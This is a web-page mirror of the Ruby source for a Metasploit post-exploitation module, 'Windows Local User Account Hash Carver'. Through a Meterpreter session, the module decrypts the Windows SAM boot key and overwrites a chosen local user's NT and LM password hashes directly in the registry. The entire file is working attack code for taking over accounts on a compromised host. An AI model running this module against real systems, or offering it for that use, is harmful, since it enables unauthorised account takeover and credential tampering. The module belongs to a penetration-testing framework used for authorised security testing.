CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/hashcarve.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Auxiliary::Report
9
include Msf::Post::Windows::Priv
10
include Msf::Post::Windows::Registry
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Local User Account Hash Carver',
17
'Description' => %q{ This module will change a local user's password directly in the registry. },
18
'License' => MSF_LICENSE,
19
'Author' => [ 'p3nt4' ],
20
'Platform' => [ 'win' ],
21
'SessionTypes' => [ 'meterpreter' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_registry_open_key
26
]
27
}
28
}
29
)
30
)
31
register_options(
32
[
33
OptString.new('user', [true, 'Username to change password of', nil]),
34
OptString.new('pass', [true, 'Password, NTHash or LM:NT hashes value to set as the user\'s password', nil])
35
]
36
)
37
# Constants for SAM decryption
38
@sam_lmpass = "LMPASSWORD\x00"
39
@sam_ntpass = "NTPASSWORD\x00"
40
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
41
@sam_numeric = "0123456789012345678901234567890123456789\x00"
42
@sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
43
@sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
44
end
45
46
def run
47
# Variable Setup
48
username = datastore['user']
49
pass = datastore['pass']
50
# Detecting password style
51
if pass.length == 32
52
print_status('Password detected as NT hash')
53
nthash = pass
54
lmhash = 'aad3b435b51404eeaad3b435b51404ee'
55
elsif pass.length == 65
56
print_status('Password detected as LN:NT hashes')
57
nthash = pass.split(':')[1]
58
lmhash = pass.split(':')[0]
59
else
60
print_status('Password detected as clear text, generating hashes:')
61
nthash = hash_nt(pass)
62
lmhash = hash_lm(pass)
63
end
64
print_line('LM Hash: ' + lmhash)
65
print_line('NT Hash: ' + nthash)
66
print_status('Searching for user')
67
ridInt = get_user_id(username)
68
rid = '%08x' % ridInt
69
print_line('User found with id: ' + rid)
70
print_status('Loading user key')
71
user = get_user_key(rid)
72
print_status('Obtaining the boot key...')
73
bootkey = capture_boot_key
74
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack('H*')[0]}...")
75
hbootkey = capture_hboot_key(bootkey)
76
print_status('Modifying user key')
77
modify_user_key(hbootkey, ridInt, user, [nthash].pack('H*'), [lmhash].pack('H*'))
78
print_status('Carving user key')
79
write_user_key(rid, user)
80
print_status("Completed! Let's hope for the best")
81
rescue ::Interrupt
82
raise $ERROR_INFO
83
rescue ::Exception => e
84
print_error("Error: #{e}")
85
end
86
87
def capture_hboot_key(bootkey)
88
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account', KEY_READ)
89
return if !ok
90
91
vf = ok.query_value('F')
92
return if !vf
93
94
vf = vf.data
95
ok.close
96
hash = Digest::MD5.new
97
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
98
rc4 = OpenSSL::Cipher.new('rc4')
99
rc4.decrypt
100
rc4.key = hash.digest
101
hbootkey = rc4.update(vf[0x80, 32])
102
hbootkey << rc4.final
103
return hbootkey
104
end
105
106
def get_user_id(username)
107
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\Names', KEY_READ)
108
ok.enum_key.each do |usr|
109
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
110
r = uk.query_value('')
111
rid = r.type
112
if usr.downcase == username.downcase
113
return rid
114
end
115
116
uk.close
117
end
118
ok.close
119
raise 'The user does not exist'
120
end
121
122
def get_user_key(rid)
123
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_READ)
124
user = uk.query_value('V').data
125
uk.close
126
return user
127
end
128
129
def write_user_key(rid, user)
130
uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{rid}", KEY_WRITE)
131
uk.set_value('V', REG_BINARY, user)
132
uk.close
133
end
134
135
def modify_user_key(hbootkey, rid, user, nthash, lmhash)
136
hoff = user[0x9c, 4].unpack('V')[0] + 0xcc
137
# Check if hashes exist (if 20, then we've got a hash)
138
lm_exists = user[0x9c + 4, 4].unpack('V')[0] == 20
139
nt_exists = user[0x9c + 16, 4].unpack('V')[0] == 20
140
if !lm_exists && !nt_exists
141
raise 'No password is currently set for the user'
142
end
143
144
print_status('Modifiying LM hash')
145
if lm_exists
146
user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
147
else
148
print_error('LM hash does not exist, skipping')
149
end
150
print_status('Modifiying NT hash')
151
if nt_exists
152
user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
153
else
154
print_error('NT hash does not exist, skipping')
155
end
156
end
157
158
def rid_to_key(rid)
159
s1 = [rid].pack('V')
160
s1 << s1[0, 3]
161
s2b = [rid].pack('V').unpack('C4')
162
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
163
s2 << s2[0, 3]
164
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
165
end
166
167
def encode_utf16(str)
168
str.to_s.encode(::Encoding::UTF_16LE).force_encoding(::Encoding::ASCII_8BIT)
169
end
170
171
def encrypt_user_hash(rid, hbootkey, hash, pass)
172
if hash.empty?
173
case pass
174
when @sam_lmpass
175
return @sam_empty_lm
176
when @sam_ntpass
177
return @sam_empty_nt
178
end
179
return ''
180
end
181
182
des_k1, des_k2 = rid_to_key(rid)
183
d1 = OpenSSL::Cipher.new('des-ecb')
184
d1.encrypt
185
d1.padding = 0
186
d1.key = des_k1
187
d2 = OpenSSL::Cipher.new('des-ecb')
188
d2.encrypt
189
d2.padding = 0
190
d2.key = des_k2
191
md5 = Digest::MD5.new
192
md5.update(hbootkey[0, 16] + [rid].pack('V') + pass)
193
rc4 = OpenSSL::Cipher.new('rc4')
194
rc4.encrypt
195
rc4.key = md5.digest
196
d2o = d2.update(hash[8, 8])
197
d1o = d1.update(hash[0, 8])
198
enchash = rc4.update(d1o + d2o)
199
return enchash
200
end
201
202
def hash_nt(pass)
203
return OpenSSL::Digest::MD4.digest(encode_utf16(pass)).unpack('H*')[0]
204
end
205
206
def hash_lm(key)
207
lm_magic = 'KGS!@\#$%'
208
key = key.ljust(14, "\0")
209
keys = create_des_keys(key[0, 14])
210
result = ''
211
cipher = OpenSSL::Cipher.new('DES')
212
keys.each do |k|
213
cipher.encrypt
214
cipher.key = k
215
result << cipher.update(lm_magic)
216
end
217
return result.unpack('H*')[0]
218
end
219
220
def create_des_keys(string)
221
keys = []
222
string = string.dup
223
until (key = string.slice!(0, 7)).empty?
224
# key is 56 bits
225
key = key.unpack('B*').first
226
str = ''
227
until (bits = key.slice!(0, 7)).empty?
228
str << bits
229
str << (bits.count('1').even? ? '1' : '0') # parity
230
end
231
keys << [str].pack('B*')
232
end
233
keys
234
end
235
end
236
237